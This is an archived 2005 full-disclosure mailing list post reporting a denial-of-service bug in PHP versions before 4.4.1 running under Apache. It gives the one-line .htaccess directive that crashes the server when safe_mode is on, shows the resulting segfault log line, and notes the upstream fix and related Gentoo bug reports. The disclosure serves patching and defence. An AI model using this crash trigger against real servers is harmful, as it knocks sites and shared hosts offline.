full-disclosure - php < 4.4.1 htaccess apache dos

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Date: Mon Oct 24 08:56:00 2005
From: exploits at zataz.net (Eric Romang / ZATAZ.com)
Subject: php < 4.4.1 htaccess apache dos

Hello,

Here under some stuff to dos apache + php just through an htaccess.

* With .htaccess method :

If you have into your php.ini -> safe_mode = On

Simply put a .htaccess file on the root directory of your website
with this content :

php_value session.save_path /var/www/somewherehowexist

Apache segfault with :

[Fri Sep 30 10:33:11 2005] [notice] child pid 17743 exit signal 
Trace/breakpoint trap (5)

There was a bug in the apache2handler SAPI, sapi_apache2.c file, that 
made this segfault here possible, the bug now is fixed upstream and 
5.1.0 final, 4.4.1 final and the next 5.0.X release will have the patch.

Also work with session.save_path into a VirtualHost.

Gentoo bug report :

http://bugs.gentoo.org/show_bug.cgi?id=107602
and
http://bugs.gentoo.org/show_bug.cgi?id=98871

Regards.